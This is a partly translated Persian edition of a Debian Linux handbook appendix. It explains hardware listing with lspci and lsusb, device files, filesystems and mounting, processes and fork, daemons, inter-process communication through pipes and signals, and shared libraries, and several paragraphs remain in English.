
مثال B.1. نمونه اطلاعاتی که lspci و lsusb ارائه می‌دهند

$ lspci [...] 00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03) 00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03) 00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03) [...] 01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01) 02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05) $ lsusb Bus 005 Device 004: ID 413c:a005 Dell Computer Corp. Bus 005 Device 008: ID 413c:9001 Dell Computer Corp. Bus 005 Device 007: ID 045e:00dd Microsoft Corp. Bus 005 Device 006: ID 046d:c03d Logitech, Inc. [...] Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

These programs have a -v option that lists much more detailed (but usually not necessary) information. Finally, the lsdev command (in the procinfo package) lists communication resources used by devices.

برنامه‌های کاربردی اغلب بوسیله فایل‌های مخصوصی که درون /dev/ ایجاد می‌شود (به قسمت بازگشت به مقدمات مجوزهای دسترسی به دستگاه مراجعه شود) به دستگاه‌های مختلف دسترسی پیدا می‌کنند. فایل‌های مخصوصی هستند که درایوهای دیسک (برای نمونه، /dev/hda و /dev/sda)، پارتیشن‌ها (/dev/hda1 یا /dev/sda1)، ماوس (/dev/input/mouse0)، صفحه کلید (/dev/input/event0)، کارت‌ صدا (/dev/snd/*)، پورت‌های سریال (/dev/ttyS*) و بسیاری موارد دیگر را مشخص می‌کنند.

B.4.2. فایل‌سیستم‌ها

فایل‌سیستم‌ها یکی از برجسته‌ترین جنبه‌های کرنل هستند. سیستم‌های یونیکس تمام فایل‌های موجود را داخل یک ساختار درختی قرار می‌دهند، که به کاربران (و برنامه‌های کاربردی) به راحتی این امکان را می‌دهند تا با دانستن مکان فایل‌ها در این ساختار، از منابع آن استفاده کنند.

نقطه آغازین این ساختار درختی، ریشه نام دارد، /. این دایرکتوری می‌تواند شامل دایرکتوری‌های فرزند دیگری باشد. برای نمونه، دایرکتوری فرزند home از / با نام /home/ شناخته می‌شود. این دایرکتوری فرزند نیز می‌تواند زیر مجموعه‌های خود را داشته باشد و به همین ترتیب. هر دایرکتوری می‌تواند شامل فایل‌های گوناگونی باشد، جایی که داده‌های واقعی ذخیره می‌شوند. بنابراین، /home/rmas/Desktop/hello.txt به فایلی با نام hello.txt در دایرکتوری فرزند Desktop واقع در حساب کاربری rmas از home قرار دارد که خود زیرمجموعه دایرکتوری ریشه است. کرنل وظیفه ترجمه این مسیرها و آدرس حقیقی رو دیسک را بر عهده دارد.

بر خلاف سایر سیستم‌ها، تنها یک ساختار درختی مانند این وجود دارد، که توانایی همگرائی داده‌ها از دیسک‌های فیزیکی گوناگون را داراست. یکی از این دیسک‌ها به عنوان دایرکتوری ریشه استفاده شده است و دیسک‌های دیگر بر روی سایر دایرکتوری‌های فرزند آن “سوار” شده‌اند (دستور یونیکس آن mount خوانده می‌شود)؛ این دیسک‌ها تحت عبارت “نقاط دسترسی (سوار)” شناخته می‌شوند. این قابلیت، امکان ذخیره‌سازی دایرکتوری‌های مربوط به حساب کاربری افراد (که به صورت سنتی در /home/ ذخیره می‌شود) را روی دیسک دیگری می‌دهد که شامل rhertzog و rmas است. زمانی که دیسک روی /home/ سوار شود، این دایرکتوری‌ها در مکان‌های مورد نظر خود قادر دسترس خواهند شد و مسیرهایی مانند /home/rmas/Desktop/hello.txt به درستی کار خواهند کرد.

There are many filesystem formats, corresponding to many ways of physically storing data on disks. The most widely known are ext3 and ext4, but others exist. For instance, vfat is the system that was historically used by DOS and Windows operating systems, which allows using hard disks under Debian as well as under Windows. In any case, a filesystem must be prepared on a disk before it can be mounted and this operation is known as “formatting”. Commands such as mkfs.ext3 (where mkfs stands for MaKe FileSystem) handle formatting. These commands require, as a parameter, a device file representing the partition to be formatted (for instance, /dev/sda1). This operation is destructive and should only be run once, except if one deliberately wishes to wipe a filesystem and start afresh.

همچنین فایل‌سیستم‌های شبکه‌ای نیز وجود دارند، مانند NFS که داده به صورت مستقیم از روی دیسک نصب شده روی رایانه خوانده نمی‌شود. در عوض، داده توسط شبکه به سروری که وظیفه نگهداری و بازنشانی داده را به عهده دارد، منتقل می‌شود. این فایل‌سیستم لایه‌ای انتزاعی برای کاربر بوجود می‌آورد: تمامی فایل‌ها با همان ساختار درختی سابق قابل دسترسی خواهند بود.

B.4.3. توابع اشتراکی

از آنجایی که تعدادی از عملکردهای پایه در تمام نرم‌افزارها مورد استفاده قرار می‌گیرند، معقول به نظر می‌رسد که یک مکان مرکزی برای آن‌ها در کرنل در نظر بگیریم. برای نمونه، فایل‌سیستم اشتراکی به هر برنامه کاربری این امکان را می‌دهد که تمامی فایل‌ها را با استفاده از نامشان باز کند، بدون نگرانی از اینکه این فایل در کجای دیسک ذخیره شده است. فایل ممکن است در قطاع‌های گوناگونی از دیسک ذخیره شده باشد، یا حتی بین چند دیسک گوناگون تقسیم شده باشد، یا در یک فایل سرور روی شبکه قرار داشته باشد. توابع ارتباطی اشتراکی توسط برنامه‌های کاربردی به منظور تبادل داده مورد استفاده قرار می‌گیرند مستقل از راه و روش انتقال آن. برای نمونه، عملیات انتقال ممکن است با ترکیبی از شبکه‌های محلی یا بیسیم یا حتی خطوط تلفن صورت بگیرد.

B.4.4. مدیریت فرآیندها (پروسه‌ها)

یک فرآیند، نمونه اجرایی یک برنامه به حساب می‌آید. این عمل شامل حافظه‌ای است که هم برنامه را شامل شود هم عملیات کنترلی روی آن. کرنل وظیفه ایجاد و ردیابی آن‌ها را برعهده دارد. زمانی که یک برنامه اجرا می‌شود، کرنل در ابتدا مقداری حافظه کنار می‌گذارد، سپس کد اجرایی برنامه از از فایل‌سیستم خوانده و درون حافظه بارگذاری می‌کند و در نهایت به اجرای کد می‌پردازد. اطلاعات مربوط به این فرآیند را ذخیره می‌کند، که مهم‌ترین این اطلاعات یک شناسه عددی به نام pid است (شناسه فرآیند).

کرنل‌های شبه یونیکس (از جمله لینوکس)، مانند سایر سیستم عامل‌های پیشرفته، قابلیت “چند وظیفگی” دارند. به عبارت دیگر، آن‌ها اجازه اجرای بسیاری از فرآیندها را “در یک زمان مشخص” می‌دهند. در حقیقت تنها یک فرآیند در هر واحد زمانی وجود دارد، اما کرنل زمان را به بازه‌های کوچکتری تبدیل می‌کند و به اجرای هر فرآیند می‌پردازد. از آنجایی که این بازه‌های زمانی بسیار کوتاه هستند (در محدوده هزارم ثانیه)، این خیال باطل بوجود می‌آید که گویی همه فرآیندها به صورت موازی اجرا می‌شوند، با اینکه در حقیقت هر یک از آن‌ها طی یک بازه زمانی فعال و در زمان دیگر دیگر بیکار هستند. وظیفه کرنل این است که مکانیزم این جدول زمانی را طوری تنظیم کند که این خیال به ذهن برسد، همزمان با اینکه عملکرد عمومی سیستم را افزایش دهد. اگر این بازه‌های زمانی بسیار طولانی باشند، برنامه کاربردی ممکن است پاسخی از خود نمایش ندهد و اگر بسیار کوتاه باشد سیستم توانایی تعویض این بازه‌ها را از دست خواهد داد. این تصمیمات می‌تواند با استفاده از اولویت‌بندی برای فرآیندها تغییر یایند. فرآیندهای با اولویت بالا برای مدت طولانی و با بازه‌های زمانی مکرر اجرا خواهند شد تا فرآیندهای با اولویت پایین.

یادداشت سیستم‌های چند پردازنده‌ای (و خانواده آن‌ها(

محدودیت اشاره شده بالا که تنها یک فرآیند در هر زمان قابل اجرا است، همیشه صادق نیست. محدودیت واقعی در حقیقت این است که تنها یک فرآیند در حال اجرا روی هر هسته پردازنده در یک زمان قابل اجرا است. سیستم‌های چندپردازنده‌ای، چندهسته‌ای یا “چند-نخی” اجازه اجرای چندین فرآیند به صورت موازی را می‌دهند. کماکان از همان سیستم تقسیم زمانی استفاده می‌شود، البته، با این تفاوت که فرآیندهای فعال بیشتری روی هسته‌های پردازنده موجود هستند. این حالت اصلاً غیرعادی نیست: یک سیستم پایه، حتی بیکارترین آن‌ها، تقریباً همیشه ده‌ها فرآیند در حال اجرا دارد.

البته، کرنل اجازه اجرای چند نسخه مختلف از یک برنامه را می‌دهد. اما هر یک از آن‌ها تنها می‌تواند به برش زمانی و حافظه خود دسترسی داشته باشد. داده‌های موجود در آن‌ها به صورت جداگانه باقی می‌مانند.

B.4.5. مدیریت مجوز

سیستم‌های شبه‌-یونیکس همچنین چند-کاربره نیز هستند. آن‌ها سیستم مدیریت مجوزی را فراهم می‌کنند که از کاربران و گروه‌های کاربری جداگانه، حمایت می‌کند؛ همچنین اجازه کنترل بر اساس نوع فعالیت و مجوز آن را هم می‌دهد. کرنل داده مربوط به هر فرآیند را مدیریت می‌کند و به آن اجازه کنترل مجوزهایش را می‌دهد. در اکثر اوقات، یک فرآیند توسط کاربری که آن را أغاز کرده است شناخته می‌شود. آن فرآیند تنها مجاز به اجرای عملیاتی است که برای آن کاربر مشخص شده است. برای نمونه، تلاش برای باز کردن یک فایل نیازمند بررسی کرنل از شناسه فرآیند در مقابله با مجوزهای مورد نیازش می‌باشد (برای جزئیات بیشتر در این مورد خاص، قسمت 9.3, “مدیریت دسترسی” را ببینید).

B.5. فضای کاربری

به محیط اجرایی فرآیندهای عادی (بر خلاف کرنل) “فضای کاربر” گفته می‌شود. الزماً به این معنی نیست که این فرآیندها در حقیقت توسط کاربر اجرا می‌شوند چرا که یک سیستم استاندارد شامل چند “daemon” (پس‌زمینه) است که قبل از ورود کاربر به سیستم، فرآیندها را اجرا می‌کنند. این فرآیندها همچنین به عنوان فرآیندهای فضای-کاربر شناخته می‌شوند.

B.5.1. فرآیند

زمانی که کرنل فاز اولیه خود را می‌گذراند، اولین فرآیند موجود را آغاز می‌کند، init. فرآیند شماره ۱ به خودی خود کاربردی ندارد، به همین دلیل است که سیستم‌های شبه-یونیکس فرآیندهای بسیار دیگری را اجرا می‌کنند.

اول از همه، یک فرآیند می‌تواند خودش را شبیه‌سازی کند (که البته با نام fork شناخته می‌شود). کرنل در این حالت یک فضای حافظه جدید (اما برابر) همچنین فرآیند دیگری که از آن استفاده کند، اختصاص می‌دهد. در این زمان، تنها تفاوت موجود بین این دو فرآیند pid آن‌ها است. فرآیند جدید معمولاً بنام فرزند و فرآیند اصلی که pid آن تغییر نکرده است بنام پدر نامگذاری می‌شوند.

گاهی اوقات، فرآیند فرزند به حیات خود مستقل از فرآیند پدر ادامه می‌دهد، با داده‌های خودش که از فرآیند پدر کپی شده است. در بسیاری موارد، البته، این فرآیند فرزند برنامه دیگری را اجرا می‌کند. بجز موارد خاص، حافظه آن به سادگی با آن برنامه جدید جایگزین می‌شود و اجرای این برنامه جدید آغاز می‌گردد. این مکانیزمی است که فرآیند init (با شماره فرآیند ۱) از آن استفاده می‌کند تا سرویس‌های اضافی را راه‌اندازی کرده و به اجرای تمام مراحل بارگذاری سیستم بپردازد. در برخی نقاط، یک فرآیند از میان فرزندان init مبادرت به اجرای یک رابط گرافیکی می‌کند تا کاربران بتوانند وارد آن شوند (ترتیب دقیق این رویدادها به طور مشروح در قسمت 9.1, “راه‌اندازی سیستم” آمده است).

زمانی که یک فرآیند به اتمام کار خود می‌رسد، نابود می‌گردد. کرنل در این زمان حافظه‌ای که به آن تخصیص داده بود را بازیابی می‌کند و دیگر بازه‌های زمانی در اختیارش قرار نمی‌دهد. همچنین به فرآیند پدر نیز اطلاع داده می‌شود که فرزندش نابود شده است، که این امکان را به یک فرآیندی که تحت فرآیند فرزند اجرا شده است می‌دهد تا عملیات مربوط به خود را قبل از نابودشدن آن انجام دهد. این رفتار به وضوح در مفسرهای خط فرمان (که با نام shell شناخته می‌شوند) قابل رویت است. زمانی که یک دستور درون خط فرمان نوشته می‌شود، کنترل خط فرمان تنها زمانی به کاربر بر می‌گردد که آن دستور تمام شده باشد. اکثر خط‌فرمان‌ها اجازه اجرای دستور در پس‌زمینه را می‌دهند، که این عمل به سادگی با اضافه کردن یک & به انتهای دستور ممکن است. در این حالت، خط فرمان بلافاصله در اختیار کاربر قرار می‌گیرد، البته ممکن است در شرایطی که دستور نیاز به نمایش برخی داده‌ها داشته باشد مشکل آفرین گردد.

B.5.2. فرآیندهای پس‌زمینه

یک “daemon” فرآیندی است که به صورت خودکار در زمان راه‌اندازی سیستم اجرا می‌شود. این فرآیند به اجرای خود (در پس‌زمینه) ادامه می‌دهد تا برخی وظایف نگهداری را انجام داده یا برخی سرویس‌ها را در اختیار سایر فرآیندها بگذارد. این “وظیفه پس‌زمینه” در حقیقت نامی دلخواه است که از دید کلی سیستم معنای خاصی نمی‌دهد. آن‌ها به سادگی، همان فرآیندها هستند، درست مانند سایر فرآیندها که هر زمان نوبتشان فرا برسد اجرا می‌شوند. تفاوت تنها در نامگذاری است که ما برایشان انتخاب کردیم: فرآیندی که بدون تعامل کاربر اجرا می‌شود (به طور خاص، بدون هیچ رابط گرافیکی) به عنوان فرآیند “پس‌زمینه” یا “daemon” شناخته می‌شود.

واژگان Daemon, demon, یک عبارت موهن؟

با اینکه عبارت daemon ریشه‌در لغت یونانی demon دارد، اولی هیچ ارتباطی با شیطان و مظاهر آن ندارد! در عوض، بیشتر باید به عنوان یک روح یاری‌رسان دیده شود. این تفاوت در زبان انگلیسی نامحسوس است؛ حتی در سایر زبان‌ها که این لغت به هر دو معنایش اشاره می‌کند، شرایط بدتر بنظر می‌آید.

تعدادی از این فرآیندهای پس‌زمینه با جزئیات در قسمت فصل 9, سرویس‌های یونیکس توضیح داده شده‌اند.

B.5.3. ارتباطات بین‌-فرآیندی

یک فرآیند جدا شده (ایزوله)، خواه پس‌زمینه باشد یا یک برنامه کاربردی، به خودی خود کاربردی ندارد، به همین دلیل است که روش‌های گوناگونی برای ارتباط و تعامل بین این فرآیندها وجود دارد، خواه برای تبادل داده یا کنترل یکدیگر. عبارت عمومی که به این منظور استفاده می‌شود ارتباط بین‌-فرآیندی یا به طور خلاصه IPC نام دارد.

ساده‌ترین سیستم IPC از فایل‌ها استفاده می‌کند. فرآیندی که طی آن فرستنده، داده را جهت ذخیره‌سازی روی یک فایل (با نامی که در ادامه‌اش می‌آید) ارسال می‌کند و گیرنده تنها باید فایل را باز کرده و محتویات آن را بخواند.

در صورتی که نخواهید داده را روی دیسک ذخیره کنید، می‌توانید از یک لوله استفاده کنید، که در ساده‌ترین حالت یک مدخل دوطرفه است؛ بایت‌هایی که در یک طرف نوشته می‌شوند در طرف دیگر قابل خواندن هستند. اگر طرفین این لوله توسط فرآیندهای جداگانه‌ای کنترل می‌شوند، این عملیات به یک کانال ارتباط بین‌-فرآیندی ساده تبدیل می‌شود. لوله‌ها می‌توانند به دو طبقه‌بندی تقسیم شوند: لوله‌های نامدار و لوله‌های بی‌نام و نشان. یک لوله نامدار توسط یک مدخل در فایل‌سیستم نمایش داده می‌شود (با اینکه داده تبادل یافته آنجا ذخیره نمی‌شود)، بنابراین هر دو فرآیند می‌توانند آن را جداگانه باز کنند در صورتی که مکان لوله نامدار قبل از آن ذکر شده باشد. در مواردی که فرآیندهای در حال تعامل به یکدیگر مربوط هستند (برای نمونه، یک فرآیند پدر و فرزند)، فرآیند پدر می‌تواند قبل از عملیات شبیه‌سازی یک لوله بی‌نام و نشان ایجاد کند تا فرزندش آن را به ارث ببرد. هر دو فرآیند در این حالت قادر به تبادل داده هستند بدون آنکه به فایل‌سیستم نیازی داشته باشند.

در عمل یک نمونه کاربردی

بیاید جزئیاتی را تشریح کنیم که هنگام اجرای یک دستور پیچیده (یک pipeline) از خط فرمان اتفاق می‌افتند. فرض می‌کنیم فرآیند bash داریم (خط فرمان استاندارد دبیان) با pid برابر ۴۳۷۴؛ درون این خط فرمان دستور ls | sort را وارد می‌کنیم.

خط فرمان در ابتدا به تفسیر دستور وارد شده می‌پردازد. در این مورد، درک می‌کند که دو برنامه وجود دارند (ls و sort) با جریان داده‌ای که از یکی به دیگری سرازیر می‌شود (که با کاراکتر | به عنوان لوله نشان داده می‌شود). در ابتدا bash یک لوله بی‌نام و نشان ایجاد می‌کند (که به صورت اولیه در فرآیند خود bash وجود دارد).

آنگاه خط فرمان به شبیه‌سازی خود می‌پردازد؛ که به ایجاد یک فرآیند جدید bash منجر می‌شود با شماره pid ۴۵۲۱ (pid اعداد انتزاعی هستند و در مجموع معنی خاصی نمی‌دهند). فرآیند ۴۵۲۱ از لوله ارث‌بری می‌کند، به این معنا که می‌تواند در قسمت ... آن بنویسد؛ bash جریان خروجی استاندارد خود را به ورودی این لوله سرازیر می‌کند. آنگاه برنامه ls اجرا (و جایگزین) می‌شود ،که وظیفه آن نمایش محتویات موجود در دایرکتوری فعلی است. از آنجایی که ls روی خروجی استاندارد خود می‌نویسد، و این خروجی قبل از این تغییر کرده است، نتایج با موفقیت به لوله فرستاده می‌شوند.

عملیات مشابهی برای دستور دوم اجرا می‌شوند: bash به شبیه‌سازی (کپی) خود می‌پردازد، که منجر به فرآیند bash جدیدی با شماره ۴۵۲۲ می‌شود. از آنجایی که یک فرآیند فرزند برای ۴۳۷۴ به حساب می‌آید، لوله را به ارث می‌برد؛ آنگاه bash ورودی استاندارد خود را به خروجی لوله متصل می‌کند، آنگاه دستور sort را اجرا (و با خود جایگزین) می‌کند، که این دستور ورودی را به صورت مرتب‌شده نمایش می‌دهد.

اکنون تمام قطعه‌های پازل در جای خود قرار گرفته‌اند: ls محتویات دایرکتوری فعلی را می‌خواند و فهرستی از فایل‌ها را روی لوله قرار می‌دهد؛ sort این فهرست را خوانده، به صورت الفبایی مرتب کرده و نتایج را نمایش می‌دهد. شماره فرآیندهای ۴۵۲۱ و ۴۵۲۲ نابود می‌شوند و ۴۳۷۴ (که در طی این مدت منتظر آن‌ها بود) کنترل را ادامه داده و خط فرمان را در اختیار کاربر قرار می‌دهد تا دستور جدیدی وارد کند.

البته، تمام ارتباطات بین‌-فرآیندی جهت تبادل داده بکار نمی‌روند. در شرایط دیگر، تنها اطلاعاتی که نیاز به رد و بدل شدند دارند پیام‌های کنترلی مانند “توقف اجرا” یا “ادامه اجرا” می‌باشند. یونیکس (و لینوکس) مکانیزمی با نام سیگنال فراهم می‌آورد، که از طریق آن یک فرآیند می‌تواند یک سیگنال مشخص (که از فهرست از پیش آماده شده سیگنال‌ها انتخاب شده است) را به فرآیند دیگر ارسال کند. تنها پیشنیاز این ارتباط، دانستن pid فرآیند هدف است.

برای ارتباطات پیچیده‌تر، مکانیزم‌هایی وجود دارند که یه یک فرآیند اجازه دسترسی یا اشتراک‌گذاری برخی از حافظه تخصیص یافته خود را به سایر فرآیندها می‌دهد. اکنون از حافظه اشتراکی بین این دو فرآیند می‌توان به عنوان کانالی جهت تبادل داده استفاده کرد.

در نهایت، ارتباطات شبکه نیز می‌تواند به ارتباط فرآیندها کمک کند؛ این فرآیندها حتی در رایانه‌های مختلف اجرا می‌شوند، که احتمالاً هزاران کیلومتر از یکدیگر فاصله دارند.

تقریباً برای یک سیستم شبه‌-یونیکس بسیار متداول است که بسیاری از این مکانیزم‌ها را در درجات مختلف بکار گیرد.

B.5.4. کتابخانه‌ها

کتابخانه‌های تابعی نقشی حیاتی در سیستم‌های شبه‌-یونیکس ایفا می‌کنند. آن‌ها برنامه‌های آماده نیستند، چرا که به خودی خود قابلیت اجرا شدن ندارند، اما مجموعه‌هایی جدا جدا از کد هستند که قابلیت استفاده توسط برنامه‌های استاندارد را دارند. در میان این کتابخانه‌های عمومی، می‌توانید مواردی زیر را پیدا کنید:

کتابخانه استاندارد C (glibc)، که شامل توابع پایه مانند بازکردن فایل یا ارتباط شبکه و سایر ابزارهای تعاملی با کرنل است؛

ابزارهای گرافیکی، مانند +GTK و Qt به بسیاری از برنامه‌ها این امکان را می‌دهند تا از قسمت‌های مختلف یک محیط گرافیکی استفاده کنند؛

the libpng library, which allows loading, interpreting and saving images in the PNG format.

به لطف این کتابخانه‌ها، برنامه‌های کاربردی می‌توانند از کد موجود استفاده کنند. توسعه برنامه‌ها آسان‌تر شده است چرا از بسیاری توابع موجود استفاده می‌کنند. با کتابخانه‌هایی که توسط افراد گوناگون توسعه یافته است، توسعه سراسری سیستم به فلسفه تاریخی یونیکس نزدیک‌تر شده است.

فرهنگ راه و روش یونیکس: یک کار در هر زمان

یکی از بنیادی‌ترین مفاهیمی که در سیستم عامل‌های خانواده یونیکس ریشه دارد این است که هر ابزاری باید تنها یک کار انجام دهد، و آن را درست هم انجام دهد؛ برنامه‌ها می‌توانند از این ابزار استفاده کنند تا منطق پیچیده‌تری را بوجود آورند. این فلسفه می‌تواند حالت‌های گوناگونی به خود بگیرد. اسکریپت‌های خط فرمان شاید بهترین نمونه باشند: آن‌ها با استفاده از ابزار ساده، ترکیبات بسیار پیچیده‌ای بوجود می‌آورند (مانند grep و wc و sort و uniq). نمونه پیاده‌سازی شده دیگر از این فلسفه در کتابخانه‌های کد دیده می‌شود: کتابخانه libpng اجازه خواندن و نوشتن فایل‌های PNG را می‌دهد، با گزینه‌های مختلف و روش‌های گوناگون، اما تنها همین کار را انجام می‌دهد؛ توابعی که باعث نمایش تصاویر یا ویرایش آن‌ها شوند وجود ندارد.

بر این به، أن‌ها اغلب کتابخانه‌های “اشتراکی گفته” می‌شود چرا، که کرنل تنها قادر است علاوه آن‌ها را یکبار در حافظه بارگذاری نماید با اینکه فرآیندهای بسیاری می‌توانند به طور همزمان از آن‌ها استفاده کنند. اینکار امکان صرفه‌جویی در حافظه را فراهم می‌آورد در مقایسه با شرایط عکس آن (به صورت فرضی) که کد موجود در کتابخانه به تعداد دفعاتی که فرآیندها از آن استفاده می‌کنند در حافظه قرار داده شود.